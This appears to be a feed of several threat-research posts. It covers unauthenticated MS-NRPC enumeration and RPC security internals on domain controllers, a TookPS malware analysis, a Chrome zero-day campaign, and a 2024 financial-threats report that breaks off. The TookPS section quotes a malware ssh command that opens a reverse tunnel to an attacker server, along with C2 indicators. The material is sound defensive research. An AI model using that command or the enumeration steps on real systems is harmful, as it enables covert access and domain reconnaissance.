While testing, we discovered that even with the policy set to “Authenticated”, it’s still possible to enumerate domain information using MS-NRPC and network interfaces using the

IObjectExporter

interface. Naturally, the next logical step would be to use the “Authenticated without exceptions” setting to completely block such activity.

At first, enabling “Authenticated without exceptions” seems to work perfectly – blocking all enumeration activity with no authentication. Over time, however, we would notice significant issues: many of the domain controller’s functions would stop working. This is not surprising, as Microsoft has explicitly warned that using this policy setting can severely disrupt domain controller functionality. In fact, it has been described as “the group policy that punches your domain in the face,” effectively rendering the domain controller inoperable.

To better understand this issue, let’s use WMI as an example and examine why setting this policy to “Authenticated without exceptions” causes domain functionality to fail.

WMI as DCOM object

Windows Management Instrumentation (WMI) is the infrastructure for managing data and operations on Windows-based operating systems. It’s widely used by system administrators for everyday tasks, including remote management of Windows machines.

To test the effect of setting the Restrict Unauthenticated RPC Clients policy to “Authenticated without exceptions”, let’s try to access WMI on a remote machine using the

wmic

command to list processes. In this case, we’ll use valid administrator credentials for the remote machine.

Listing remote processes using wmic

As shown in the screenshot above, the attempt to list remote processes fails with an “Access Denied” error, even with valid administrator credentials. But why does this happen?

Remote WMI access relies on the DCOM architecture. To interact with the WMI server, a DCOM object must first be created on the remote machine. As explained in part one, interfaces such as

IObjectExporter

(

IOXIDResolver

) are responsible for locating and connecting to DCOM objects.

In simpler terms native Windows libraries typically use the

IObjectExporter

interface by default during the initial steps of creating a DCOM object, although it is technically optional. When binding the interface, the authentication level is set to “no authentication” (level 1). Next, the libraries use the

ServerAlive2

function.

When the Restrict Unauthenticated RPC Clients policy is set to “Authenticated without exceptions”, it blocks these no-auth activities. This prevents the creation of DCOM objects, so the WMIC command that creates a DCOM object fails and returns an “Access Denied” error, even if the credentials are valid.

Furthermore, since DCOM object creation is integral to many domain controller functions, blocking these activities can disrupt most operations on the domain controller. In short, setting the policy to “Authenticated without exceptions” not only breaks remote WMI access, it also impacts broader domain functionality.

To better understand this behavior, let’s examine what happens under the hood when we set the Restrict Unauthenticated RPC Clients policy to “Authenticated” or “None”. Using Wireshark, we’ll capture the traffic while running the same PowerShell command as before.

Network traffic for remote WMI

In the captured traffic, we can see that before the DCOM object is created, the

IOXIDResolver

interface must be bound, and the

ServerAlive2

function is called (packets 21-24).

If we inspect packet 21, which contains the bind request, we see that the native libraries bind the interface without authentication – because the authentication length is zero.

Binding without authentication

Next, let’s inspect the traffic when the Restrict Unauthenticated RPC Clients policy is set to “Authenticated without exceptions”.

Network traffic for WMI

From the captured traffic, we can see several “Access Denied” responses when attempting to call the

ServerAlive2

function with valid credentials. This happens because the policy blocks the no-authentication behavior, effectively stopping the initial binding of the

IOXIDResolver

interface (which binds without authentication by default). The failure to bind the interface at the beginning of the process is what causes this error, proving that it does not come from WMI itself.

The event that never occurs

As we saw earlier, preventing enumeration of domain information seems impossible, but detecting it might be another story. The first place to look for detection is Windows audit policies. I found the audit policy under event ID 5712, which should generate an event like “Audit RPC Events 5712(S): A Remote Procedure Call (RPC) was attempted.”

However, Microsoft states that this event never occurs, and after enabling this audit policy, I indeed found no related events in the event viewer for any RPC attempts.

The event that never occurs seemed like a dead end for detecting RPC activity. However, after further research, I found two additional ways to detect RPC activity.

The first method is Event Tracing for Windows, which logs RPC-related events. However, it lacks useful details such as the IP address of the RPC client and generates many events, including local RPC activity, making it difficult to parse.

The second method is to use third-party open source software called RPC-Firewall. This tool audits all remote RPC calls, allowing you to track RPC UUIDs and opnums, block specific ones, and filter by source address. It integrates with the event viewer to display logs, as shown in the screenshot below of an RPC event generated by RPC-Firewall.

RPC-Firewall RPC event

Prior to conducting this research, I had found these three ways to detect such activity that I mentioned earlier. However, due to the lack of native detection, the process remains challenging. You can rely on third-party tools or develop your own detection method. But even with these approaches, it’s difficult because you need to identify which machines in your domain are making RPC requests without authentication and track the frequency of this activity.

MS-RPC security

Now let’s explore why Windows behaves this way, why there are issues with policies, and what exceptions really mean. But before diving into all that, we need to discuss MS-RPC security – basically, how to secure your RPC server.

From this point on, I’ll be referring to a new term, the RPC server. The RPC server is where the logic of the interface is defined. A single server can have multiple interfaces.

Securing an RPC server is a complex process because of the variety of access methods, such as named pipes or TCP endpoints. In addition, security measures for RPC servers have evolved over time.

In this research, I will focus on the security methods relevant to our study, but there are several other methods, some of which are described in this post.

Registration flags

When registering an interface for an RPC server, specific flags can be set using the RpcServerRegisterIf2 function. Three flags are of particular relevance:

• RPC_IF_ALLOW_LOCAL_ONLY: Rejects calls from remote clients.
• RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH: Invokes a security callback for authentication checks.
• RPC_IF_ALLOW_SECURE_ONLY: Limits connections to clients with an authentication level higher than RPC_C_AUTHN_LEVEL_NONE.

The RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag registers a security callback (e.g.,

MySecurityCallback

), as shown in the examples below, which takes over security checks from the RPC runtime.

RPCServerRegisterIf2 with security callback

If the callback returns

RPC_S_OK

(mapped to 0), the client passes; otherwise, the client fails the security check.

The security callback

By default, the RPC runtime (

rpcrt4.dll

library) handles client authentication using mechanisms such as NTLM or Kerberos. However, its behavior is influenced by two factors:

1. The Restrict Unauthenticated RPC Clients policy:
   

• If set to “None”, unauthenticated clients are allowed.
• If set to “Authenticated”, only authenticated clients can connect.

This explains the exceptions we discussed earlier: they occur when interfaces inside RPC servers are registered with this flag, enabling unauthenticated connections even when the policy is set to “Authenticated”. The source and behavior of these exceptions should now be clear.

Securing the endpoint

As mentioned earlier, RPC servers can be accessed through various transport layers. For remote connections, TCP ports and named pipes are commonly used.

When registering an endpoint for an RPC server using the RpcServerUseProtseqEp function, you can include a security descriptor (SD) to control who can connect to the endpoint. It’s important to note that this SD only applies to named pipes, not TCP ports. Additionally, it can also be used for local connections using ALPC ports as endpoints.

Securing the interface

Microsoft has introduced a newer version of the RpcServerRegisterIf2 function, called RpcServerRegisterIf3, which allows you to add an optional SD when registering your interface. This enables you to control who can connect directly to the interface.

This security mechanism raises an important question: if an interface has registered an SD, and a client connects via TCP without authentication (authentication level = 1), how is the security check performed? Specifically, what security token is assigned to the client for the SD check?

To answer this, we need to do some reverse engineering magic against the RPC runtime library (

rpcrt4.dll

).

The figure below shows the decompiled view from IDA for the function called when a client connects without authentication. As you can see, it uses the ImpersonateAnonymousToken function, which allows the thread to impersonate the system’s anonymous logon token. In other words, a client connecting via a TCP endpoint without authentication is represented as an anonymous user.

Called function for unauthenticated clients

After that, the access check is performed using the AccessCheck function:

Access check

Binding authentication

The final RPC security issue to discuss is binding authentication. As you recall, the authentication method is specified in the binding packet (the first packet in an RPC connection). But what does that mean?

An RPC server can register its preferred authentication method for clients using the RpcServerRegisterAuthInfo function. For instance, in the following example, NTLM authentication is registered as the chosen method.

After that, the client can connect using RPCBindSetAuthInfoEx and specify the correct authentication service and authentication level.

Now that we’ve covered RPC security, it’s time to answer questions about our interface (MS-NRPC): What security is applied on the server that defines this interface, and why were we able to access it without authentication?

To do this, I used two approaches:

1. Surface analysis: I examined the internal security checks of the RPC server using a flowchart from a great RPC toolkit. This chart provides valuable insight for our research, allowing us to analyze the security applied by the RPC server in more detail. I’ll go through it step by step, following the path described in the chart to conduct the investigation.
2. In-depth analysis: In this approach, I interacted directly with the RPC server using reverse engineering to gain further insight into the enabled security.

Surface analysis

I will now attempt to determine the security mechanism used by the RPC server that’s related to the MS-NRPC (Netlogon) interface. I will assume that we are the RPC client calling a function from (MS-NRPC) Netlogon to enumerate domain information without using any authentication.

Let’s start with transport protocols, as outlined in the flowchart:

In the chart above, the RPC client has two options for connecting to the RPC server: via TCP or SMB named pipes. In our research, we are using TCP, which is highlighted.

Next, we encounter the Restrict Unauthenticated RPC Client policy, which has two values: “None” or “Authenticated”. If set to “None”, we proceed to the next step. If set to “Authenticated”, a check is performed to see if the client has authenticated. If it has, the flow continues; however, if the client connects without authentication (as in our case), the RPC runtime checks for the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag and either accepts or denies the connection based on its presence.

Since the policy is set to “Authenticated” and our client does not perform authentication, we need the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag to be registered in order to proceed to the next step, thereby making an exception to the policy. The presence of this flag allows us to conclude that a security callback has also been registered.

Our path now looks like this:

Next, there is another check to see if the server has registered an authentication service. If the server hasn’t registered one and the client tries to authenticate, it will be denied with an “authentication service unknown” error. However, if the client doesn’t attempt authentication, the process continues.

If the server has registered an authentication service, the check against the endpoint (the SD registered via RpcServerUseProtseqEp) is performed. If the client passes this, another check is made against the interface SD (registered using RpcServerRegisterIf3). Failure to pass either of these checks will result in access being denied.

In our case, we know the server has already registered an authentication service because it’s a well-known Microsoft protocol. We don’t need to worry about the endpoint check either, as it’s intended for clients connecting via named pipes. As for the interface security descriptor, we either passed this check if the SD doesn’t exist at all, or the SD does exist and it allows anonymous users (representing clients without authentication).

Next, we check two flags: the first, RPC_IF_ALLOW_LOCAL_ONLY, determines if the interface can be accessed remotely, and the second checks for RPC_IF_ALLOW_SECURE_ONLY. If the latter is present, it ensures that we are using an authentication level higher than “None”, denying or allowing access based on the authentication level. Finally, we check for the presence of a security callback. If it doesn’t exist, we can access the server immediately. If it does exist, we must pass the custom checks within the security callback to access the server.

In our case, we know that RPC_IF_ALLOW_LOCAL_ONLY doesn’t exist because we can access the interface remotely. We also know that RPC_IF_ALLOW_SECURE_ONLY isn’t present because we’re using an authentication level of “None”. Finally, we conclude that a security callback is registered based on the previous use of RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, and we successfully pass the security callback check to gain access to the server.

Our final path looks like this:

Surface analysis conclusion

At this stage, we can conclude that the RPC server has the following characteristics:

1. Regarding registration flags:

• Has RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH (indicating a security callback).
• Doesn’t have RPC_IF_ALLOW_LOCAL_ONLY.
• Doesn’t have RPC_IF_ALLOW_SECURE_ONLY.

• We’re unsure if it has a security descriptor (SD) or not.

• The RPC server registers authentication.

As shown, the surface analysis couldn’t provide a complete security overview for the Netlogon (MS-NRPC) interface, so I decided to proceed with an in-depth analysis.

In-depth analysis

The goal of our in-depth analysis is to leverage reverse engineering techniques to assess the security of the RPC server under the MS-NRPC interface. As we saw before, the interface is accessible through the LSASS process, specifically via the Netlogon DLL. Here we have two approaches to analysis:

1. Use automated tools to examine the security of the interface.
2. Go directly to IDA and manually locate the interface and its associated security mechanisms.

Automated tools

Let’s begin with a tool called PE RPC Scraper. If we provide the Netlogon DLL as an argument, this tool reveals information about the RPC server, its interfaces, functions and security details.

PE RPC Scraper output

The output of the tool shows that it successfully identified the Netlogon interface (UUID) and confirmed that it contains 59 functions. It also revealed the presence of a security callback and a set of flags with a value of

0x91

. After decoding this value, we can see that the following flags have been registered:

• RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH
• RPC_IF_SEC_CACHE_PER_PROC
• RPC_IF_AUTOLISTEN

The output from PE RPC Scraper also indicates that the interface has no security descriptor.

The information obtained from both the surface analysis and the automated tool provides the answer to the security bypass issue and allows me to conclude the investigation at this point. However, I personally don’t trust automated tools, and I have a good reason for that. So, for further confirmation, let’s dive into IDA.

IDA like a superhero

At this point, I’ve loaded

netlogon.dll

into IDA and started my investigation.

A. Locate the interface

The first step is to determine where the interface is registered. As shown in the figure below, the UUID registered using RPCServerRegisterIf3 is related to the MS-NRPC interface.

MS-NRPC interface registration

B. Endpoint registration

At this stage, we’ll check the endpoint registration for the server. As you can see in the screenshot below, RpcServerUseProtseqEpW and RpcServerUseProtseqExW have been used to register three endpoints:

1. SMB named pipe,

   lsass

2. Local ALPC port,

   NETLOGON_LRPC

3. High dynamic TCP ports

Endpoint registration

C. Interface registration

As I mentioned earlier, RpcServerRegisterIf3 is used to register the interface.

Interface registration

The function used the

0x91

value as a set of flags, which are: RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH | RPC_IF_SEC_CACHE_PER_PROC | RPC_IF_AUTOLISTEN. RpcServerRegisterIf3 also has a security callback (

sub_18002EF60

), in addition to a security descriptor (

hMem

). This finding contradicts what was previously confirmed by an automated tool – that’s why I don’t trust them for reverse engineering.

D. Security callback

Now let’s go inside the security callback and see how the security check is performed. From the screenshot below, we can see that RpcServerInqCallAttributesW is called first with the

Flags

field inside the

RpcCallAttributes

struct set to

96

. After decoding this value, we can see that this function used two flags – RPC_QUERY_IS_CLIENT_LOCAL | RPC_QUERY_NO_AUTH_REQUIRED – to request the client information.

The security callback has a condition statement.

The security callback conditions

First, the callback verifies that the RpcServerInqCallAttributesW function was called successfully, then it checks if the opnum is less than 59. If both previous conditions are met and the client is local, access to the server is granted. If the client is remote, the callback uses an access array (a matrix) to determine if the opnum is allowed to be called by the remote client.

The access matrix is just hardcoded bytes in memory:

Access matrix

All of the previously mentioned functions in the MS-NRPC interface that can be accessed without authentication (as outlined in the table in the first part) pass the access matrix check.

Now, let’s analyze what happens when the conditions are met or not, using assembly language since the IDA decompiler tab lacks precise interpretations.

The security callback conditions in assembly

• For the security callback, as we mentioned earlier, returning 0 indicates a successful call.
• For the first condition (RpcServerInqCallAttributesW), failure results in an error value.
• For the second condition (operation number compared to 59), failure still returns 0. This only ensures that the matrix index doesn’t exceed its size and doesn’t validate implemented functions that are handled elsewhere.
• For the third condition, if both the access matrix and local client checks fail, the callback returns 5 (access denied). If either of them succeeds, execution continues.

If all of the above checks in the IF statement are passed, the security callback proceeds to check the Windows version with another IF statement that verifies the value of a DWORD in memory.

The second IF statement

This DWORD is initialized using the code shown below. The value is set based on whether or not the machine is a domain controller (DC).

Checking the machine type

• If the machine is a DC, execution continues and returns 0, indicating that the security callback check was successfully passed.
• If it is not a DC, further checks are performed.

This sequence of checks shows that passing the security callback for the remote client on a DC requires only that the access matrix check be successfully passed.

E. Interface security descriptor

As we saw before, the security descriptor is assigned through the RpcServerRegisterIf3 function. It is set up by calling another function that contains many instructions. The security descriptor definition language (SDDL) for the security descriptor is shown below.

SDDL for security descriptor

From the SDDL, we can see that the following groups of users have read access: Anonymous Logon, Everyone, Restricted Code, Built-in Administrators, Application Package, and a specific security identifier (SID).

But I ran into a problem. The function where the security descriptor is set up contained numerous operations, and I wasn’t sure if any changes had been made to the SDDL representation of the security descriptor. That’s why I decided to find an alternative method to verify that the SDDL interpretation remained the same.

To achieve this goal, I considered two approaches:

1. Memory search: I considered searching memory at runtime for the known value in the header of the relative security descriptor to intercept and extract the discretionary access control list (DACL) inside LSASS. However, since this involves interacting with the LSASS process, which is risky, I took a different approach.
2. ALPC Port Security Descriptor: The ALPC port

   NETLOGON_LRPC

   , registered during endpoint setup, shares the same security descriptor as the interface:

Endpoint and interface registration

Using the ALPC port’s name, I used the NtObjectManager PowerShell module (you can use any programming alternative) to extract the security descriptor from the ALPC port.

Extracting the SD from the ALPC port in PowerShell

After that, I obtained the DACL from the security descriptor.

Security descriptor for ALPC port

The screenshot above shows that the DACL obtained from the ALPC port’s security descriptor matches the SDDL representation we obtained earlier. As we can see in the first line of the ACL entries, anonymous login is allowed on the interface, which explains why we can pass the security descriptor access check for the interface (if there is no client token, the Anonymous LOGON token is assigned).

In-depth analysis conclusion

From the in-depth analysis, we now have the whole scenario of the MS-NRPC security mechanism, which allowed us to understand how we could successfully pass the security checks of the MS-NRPC interface and call multiple functions without authentication, even if the RPC policy is set to “Authenticated”.

To summarize, here’s how we were able to bypass the security of MS-NRPC:

1. Registration flags:

We found that the interface has the RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH flag: for this reason, we were able to get past the RPC policy.

2. Security callback:

We found that this flag has a security callback, which in our case is used to check if we pass the check against the access array, and all of our functions passed the check.

3. Interface security descriptor:

The interface has a security descriptor that permits multiple user groups to connect, including anonymous users. Since we are using no authentication, the access check is performed against the anonymous user, allowing to access the interface’s functions.

Research conclusion

At the end of this part and my research, I hope I was able to provide all the details related to this research and the approaches that I used. I also hope that you are now able to understand why we have this kind of no-authentication enumeration. Furthermore, I hope you are now equipped to develop your own ways to detect this kind of activity.

Thank you for reading, and see you soon with more research projects.

Read More 

In early March, we published a study detailing several malicious campaigns that exploited the popular DeepSeek LLM as a lure. Subsequent telemetry analysis indicated that the TookPS downloader, a malware strain detailed in the article, was not limited to mimicking neural networks. We identified fraudulent websites mimic official sources for remote desktop and 3D modeling software, alongside pages offering these applications as free downloads.

Malicious websites

UltraViewer, AutoCAD, and SketchUp are common business tools. Therefore, potential victims of this campaign include both individual users and organizations.

Our telemetry also detected file names such as “Ableton.exe” and “QuickenApp.exe”, alongside malicious websites. Ableton is music production software for composition, recording, mixing, and mastering, and Quicken is a personal finance app for tracking expenses, income, debts, and investments across various accounts.

TookPS

In our report on attacks exploiting DeepSeek as a lure, we outlined the infection chain initiated by Trojan-Downloader.Win32.TookPS. Let us delve into this. Upon infiltrating a victim’s device, the downloader reaches out to its C2 server, whose domain is embedded in its code, to retrieve a PowerShell script. Different malware samples communicate with different domains. For example, the file with the MD5 hash 2AEF18C97265D00358D6A778B9470960 reached out to bsrecov4[.]digital, which was inactive at the time of our research. It received the following base64-encoded command from that domain:

Original command

Decoding reveals the PowerShell command being executed:

The variable “$TookEnc” stores an additional base64-encoded data block, also executed in PowerShell. Decrypting this reveals the following command:

Decoded command from $TookEnc variable shown in the previous screenshot

Example of decrypting another command from $TookEnc variable

Although different samples contain different URLs, the command structure remains identical. These commands sequentially download and execute three PowerShell scripts from the specified URL. The first script downloads “sshd.exe”, its configuration file (“config”), and an RSA key file from the C2 server. The second script retrieves command-line parameters for “sshd” (remote server address, port, and username), and then runs “sshd”.

Example of a malicious PowerShell command generated by the PowerShell script:

ssh.exe -N -R 41431:localhost:109 Rc7DexAU73l@$ip_address -i "$user.sshRc7DexAU73l.41431" -f "$user.sshconfig"

This command starts an SSH server, thereby establishing a tunnel between the infected device and the remote server. For authentication, it uses the RSA key downloaded earlier, and the server configuration is sourced from the “config” file. Through this tunnel, the attacker gains full system access, allowing for arbitrary command execution.

The third script attempts to download a modified version of the Backdoor.Win32.TeviRat malware onto the victim’s machine, which is a well-known backdoor. The sample we obtained uses DLL sideloading to modify and deploy the TeamViewer remote access software onto infected devices. In simple terms, the attackers place a malicious library in the same folder as TeamViewer, which alters the software’s default behavior and settings, hiding it from the user and providing the attackers with covert remote access. This campaign used the domain invoicingtools[.]com as the C2.

Part of the script that downloads Backdoor.Win32.TeviRat

Additionally, Backdoor.Win32.Lapmon.* is downloaded onto the compromised device. Unfortunately, we were not able to establish the exact delivery method. This backdoor uses the domain twomg[.]xyz as its C2.

In this manner, the attackers gain complete access to the victim’s computer in variety of ways.

Infrastructure

The malicious scripts and programs in this attack primarily used domains registered in early 2024, hosted at two IP addresses:

C2 domains and corresponding IPs

We found no legitimate user-facing resources at these IP addresses. Alongside the campaign-related domains, we also found other domains long blocked by our security solutions. This strongly suggests these attackers had used other tools prior to TookPS, Lapmon, and TeviRat.

Takeaways

The DeepSeek lure attacks were merely a glimpse into a large-scale campaign targeting both home users and organizations. The malware distributed by the attackers was disguised as popular software, including business-critical applications. They attempted to gain covert access to the victim’s device through a variety of methods after the initial infection.

To protect against these attacks, users are advised to remain vigilant and avoid downloading pirated software, which may represent a serious threat.

Organizations should establish robust security policies prohibiting software downloads from dubious sources like pirated websites and torrents. Additionally, regular security awareness training is essential for ensuring a proper level of employee vigilance.

IOCs

MD5
46A5BB3AA97EA93622026D479C2116DE
2DB229A19FF35F646DC6F099E6BEC51F
EB6B3BCB6DF432D39B5162F3310283FB
08E82A51E70CA67BB23CF08CB83D5788
8D1E20B5F2D89F62B4FB7F90BC8E29F6
D26C026FBF428152D5280ED07330A41C
8FFB2A7EFFD764B1D4016C1DF92FC5F5
A3DF564352171C207CA0B2D97CE5BB1A
2AEF18C97265D00358D6A778B9470960
8D0E1307084B4354E86F5F837D55DB87
7CB0CA44516968735E40F4FAC8C615CE
62CCA72B0BAE094E1ACC7464E58339C0
D1D785750E46A40DEF569664186B8B40
EE76D132E179623AD154CD5FB7810B3E
31566F18710E18F72D020DCC2FCCF2BA
F1D068C56F6023FB25A4F4F0CC02E9A1
960DFF82FFB90A00321512CDB962AA5B
9B724BF1014707966949208C4CE067EE

URLs
Nicecolns[.]com
sketchup-i3dmodels-download[.]top
polysoft[.]org
autocad-cracked[.]com
ultraviewer[.]icu
ultraview-ramotepc[.]top
bsrecov4[.]digital
downloader[.]monster
download[.]monster
pstuk[.]xyz
tukeps2ld[.]online
twomg[.]xyz
tuntun2[.]digital
invoicingtools[.]com
tu02n[.]website
inreport2[.]xyz
inrep[.]xyz

IPs
88[.]119.175.187
88[.]119.175.184
88[.]119.175.190

Read More 

In mid-March 2025, Kaspersky technologies detected a wave of infections by previously unknown and highly sophisticated malware. In all cases, infection occurred immediately after the victim clicked on a link in a phishing email, and the attackers’ website was opened using the Google Chrome web browser. No further action was required to become infected.

All malicious links were personalized and had a very short lifespan. However, Kaspersky’s exploit detection and protection technologies successfully identified the zero-day exploit that was used to escape Google Chrome’s sandbox. We quickly analyzed the exploit code, reverse-engineered its logic, and confirmed that it was based on a zero-day vulnerability affecting the latest version of Google Chrome. We then reported the vulnerability to the Google security team. Our detailed report enabled the developers to quickly address the issue, and on March 25, 2025, Google released an update fixing the vulnerability and thanked us for discovering this attack.

Acknowledgement for finding CVE-2025-2783 (excerpt from security fixes included into Chrome 134.0.6998.177/.178)

We have discovered and reported dozens of zero-day exploits actively used in attacks, but this particular exploit is certainly one of the most interesting we’ve encountered. The vulnerability CVE-2025-2783 really left us scratching our heads, as, without doing anything obviously malicious or forbidden, it allowed the attackers to bypass Google Chrome’s sandbox protection as if it didn’t even exist. The cause of this was a logical error at the intersection of Google Chrome’s sandbox and the Windows operating system. We plan to publish the technical details of this vulnerability once the majority of users have installed the updated version of the browser that fixes it.

Our research is still ongoing, but judging by the functionality of the sophisticated malware used in the attack, it seems the attackers’ goal was espionage. The malicious emails contained invitations allegedly from the organizers of a scientific and expert forum, “Primakov Readings”, targeting media outlets, educational institutions and government organizations in Russia. Based on the content of the emails, we dubbed the campaign Operation ForumTroll.

Example of a malicious email used in this campaign (translated from Russian)

At the time of writing, there’s no exploit active at the malicious link – it just redirects visitors to the official website of “Primakov Readings”. However, we strongly advise against clicking on any potentially malicious links.

The exploit we discovered was designed to run in conjunction with an additional exploit that enables remote code execution. Unfortunately, we were unable to obtain this second exploit, as in this particular case it would have required waiting for a new wave of attacks and exposing users to the risk of infection. Fortunately, patching the vulnerability used to escape the sandbox effectively blocks the entire attack chain.

All the attack artifacts analyzed so far indicate high sophistication of the attackers, allowing us to confidently conclude that a state-sponsored APT group is behind this attack.

We plan to publish a detailed report with technical details about the zero-day exploit, the sophisticated malware, and the attackers’ techniques.

Kaspersky products detect the exploits and malware used in this attack with the following verdicts:

• Exploit.Win32.Generic
• Trojan.Win64.Agent
• Trojan.Win64.Convagent.gen
• PDM:Exploit.Win32.Generic
• PDM:Trojan.Win32.Generic
• UDS:DangerousObject.Multi.Generic

Indicators of Compromise

primakovreadings[.]info

Read More 

As more and more financial transactions are conducted in digital form each year, financial threats comprise a large piece of the global cyberthreat landscape. That’s why Kaspersky researchers analyze the trends related to these threats and share an annual report highlighting the main dangers to corporate and consumer finances. This report contains key trends and statistics on financial phishing, mobile and PC banking malware, as well as offers actionable recommendations to bolster security measures and effectively mitigate emerging threats

Methodology

In this report, we present an analysis of financial cyberthreats in 2024, focusing on banking Trojans and phishing pages that target online banking, shopping accounts, cryptocurrency wallets and other financial assets. To gain an understanding of the financial threat landscape, we analyzed anonymized data on malicious activities detected on the devices of Kaspersky security product users and consensually provided to us through the Kaspersky Security Network (KSN). Note that for mobile banking malware, we retrospectively revised the 2023 numbers to provide more accurate statistics. We also changed the methodology for PC banking malware by removing obsolete families that no longer use Trojan banker functionality, hence the sharp drop in numbers against 2023.

Key findings

Phishing

• Banks were the most popular lure in 2024, accounting for 42.58% of financial phishing attempts.
• Amazon Online Shopping was mimicked by 33.19% of all phishing and scam pages targeting online store users in 2024.
• Cryptocurrency phishing saw an 83.37% year-over-year increase in 2024, with 10.7 million detections compared to 5.84 million in 2023.

PC malware

• The number of users affected by financial malware for PCs dropped from 312,000 in 2023 to 199,000 in 2024.
• ClipBanker, Grandoreiro and CliptoShuffler were the prevalent malware families, together targeting over 89% of affected users.
• Consumers remained the primary target of financial cyberthreats, accounting for 73.69% of attacks.

Mobile malware

• Nearly 248,000 users encountered mobile banking malware in 2024 – almost 3.6 times more than in 2023 when 69,000 users were affected.
• Mamont was the most active Android malware family, accounting for 36.7% of all mobile banker attacks.
• Users in Turkey were the most targeted.

Financial phishing

In 2024, online fraudsters continued to lure users to phishing and scam pages that mimicked the websites of popular brands and financial organizations. The attackers employed social engineering techniques to trick victims into sharing their financial data or making a payment on a fake page.

We analyzed phishing detections separately for users of our home and business products. Pages mimicking web services accounted for the largest slice of the business pie at 26.56%. The percentage was lower for home users (10.34%), but home users were more likely to be targeted by pages using banks and global internet portals, social media and IMs, payment systems, and online games as a lure. Delivery company scams accounted for 15.17% of attacks targeting businesses, but did not register in the top ten for home users.

TOP 10 organizations mimicked by phishing and scam pages that were blocked on business users’ devices, 2024 (download)

TOP 10 organizations mimicked by phishing and scam pages that were blocked on home users’ devices, 2024 (download)

Overall, among the three major financial phishing categories, bank users were targeted most in 2024 (42.58%), rising a little over 4 p.p. on the previous year. Online stores were of relatively less interest to the fraudsters at 38.15% dropping from 41.65% in 2023. Payment systems accounted for the remaining 19.27%.

Distribution of financial phishing pages by category, 2024 (download)

Online shopping scams

The most popular online brand target for fraudsters was Amazon (33.19%). This should not come as a surprise given Amazon is one of the world’s largest online retailers. With 2.41 billion average monthly visitors and $447.5 billion in annual web sales, up 8.6% in 2024, there is every chance Amazon will retain its dubious honor into 2025.

Apple’s share of attacks dropped nearly 3 p.p. from last year’s figure to 15.68%, while Netflix scams grew slightly to 15.99%. Meanwhile, fraudsters’ interest in Alibaba increased, its share going up from 3.17% in 2023 to 7.95% in 2024.

Examples of phishing sites that mimic Amazon, Netflix, Apple and Alibaba

Last year, Louis Vuitton accounted for a whopping 5.52% of all attacks. However, the luxury brand completely slipped out of the top ten in 2024, along with Italian eyewear company Luxottica. Instead, sportswear giant Adidas and Russian e-commerce platform Ozon entered the list with 1.39% and 2.75% respectively. eBay (4.35%), Shopify (3.82%), Spotify (2.84%) and Mercado Libre (1.86%) all stayed in the top ten, with marginal differences from the previous year.

TOP 10 online shopping brands mimicked by phishing and scam pages, 2024 (download)

When looking at fake website content, free prizes and offers that were a little too good to be true once again proved a popular tactic used by scammers. However tempting they may be, most likely, the victim will be the one who pays. Often scammers require “commissions” to get the prize or ask user to pay for delivery. After receiving the money, they disappear.

Examples of scam pages offering free prizes

In other cases, precious gifts are used by phishers to trick the user into giving out their credentials. The scheme below offers the victim an Amazon gift card to obtain which they should enter an OTP code on a phishing website. Although such codes are temporary, the scammers may use them to log in to victim’s account or perform a fraudulent transaction as soon as it is entered into the fake form.

A phishing scheme aimed at getting OTP codes

Fraudsters often trick users into “verifying” their accounts by sending fake security alerts or urgent messages claiming suspicious activity. Victims are directed to a counterfeit page resembling platforms like eBay, where entering data (for example, credentials, payment data or documents) hands them over to scammers.

An example of a phishing site that mimics eBay

Another common tactic involves creating fake storefronts or seller profiles on marketplaces, listing numerous products at seemingly irresistible prices. Shoppers drawn in by the deals unknowingly provide payment details, only to receive nothing in return.

An example of a scam site that mimics an online marketplace

While many pages mimicking online stores target shoppers, there are others that are designed to collect business account credentials. For example, below you can see a phishing page targeting users registered on the Amazon Brand Registry platform, which provides businesses with a range of brand-building and intellectual property protection tools.

An example of a phishing page targeting Amazon brand accounts

Payment system phishing

Payment systems were mimicked in 19.27% of financial phishing attacks detected and blocked by Kaspersky products in 2024 – almost the same percentage as in 2023. Once again, PayPal was the most targeted, but its share of attacks fell from 54.73% to 37.53%. Attacks targeting Mastercard went in the opposite direction, nearly doubling from 16.58% in 2023 to 30.54%. American Express, Qiwi and Cielo are all new entrants into the top five, replacing Visa, Interac and PayPay.

TOP 5 payment systems mimicked by phishing and scam pages, 2024 (download)

Cryptocurrency scams

In 2024, the number of phishing and scam attacks relating to cryptocurrencies continued to grow. Kaspersky anti-phishing technologies prevented 10,706,340 attempts to follow a cryptocurrency-themed phishing link, which was approximately 83.37% higher than the 2023 figure of 5,838,499 (which itself was 16% bigger than the previous year’s). As cryptocurrencies continue to grow, this number is only ever going to get larger.

Financial PC malware

In 2024, the decline in users affected by financial PC malware continued. On the one hand, people continue to rely on mobile devices to manage their finances. On the other hand, some of the most prominent malware families that were initially designed as bankers had not used this functionality for years, so we excluded them from these statistics. As a result, the number of affected users dropped significantly from 312,453 in 2023 to 199,204 in 2024.

Changes in the number of unique users attacked by banking malware in 2024 (download)

Key financial malware actors

The notable strains of banking Trojans in 2024 included ClipBanker (62.9%), Grandoreiro (17.1%), CliptoShuffler (9.5%) and BitStealer (1.3%). Most of these Trojans specifically target crypto assets. However, Grandoreiro is a full-fledged banking Trojan that targeted 1700 banks and 276 crypto wallets in 45 countries and territories around the globe in 2024.

* Unique users who encountered this malware family as a percentage of all users attacked by financial malware

Geography of PC banking malware attacks

To highlight the countries where financial malware was most prevalent in 2024, we calculated the share of users who encountered banking Trojans in the total number attacked by any type of malware in the country. The following statistics indicate where users are most likely to encounter financial malware.

As in 2023, the highest share of banking Trojans was registered in Afghanistan, where it rose from 6% to 9% in 2024. Turkmenistan was next (as in 2023), where the figure rose from 5.2% to 8.8%, and Tajikistan was in third place (again), where the figure rose from 3.7% to 6.2%.

TOP 20 countries by share of attacked users

* Excluded are countries and territories with relatively few (under 10,000) Kaspersky users.
** Unique users whose computers were targeted by financial malware as a percentage of all Kaspersky users who encountered malware in the country.

Types of attacked users

Attacks on consumers accounted for 73.69% of all financial malware attacks in 2024, up from 61.2% in 2023.

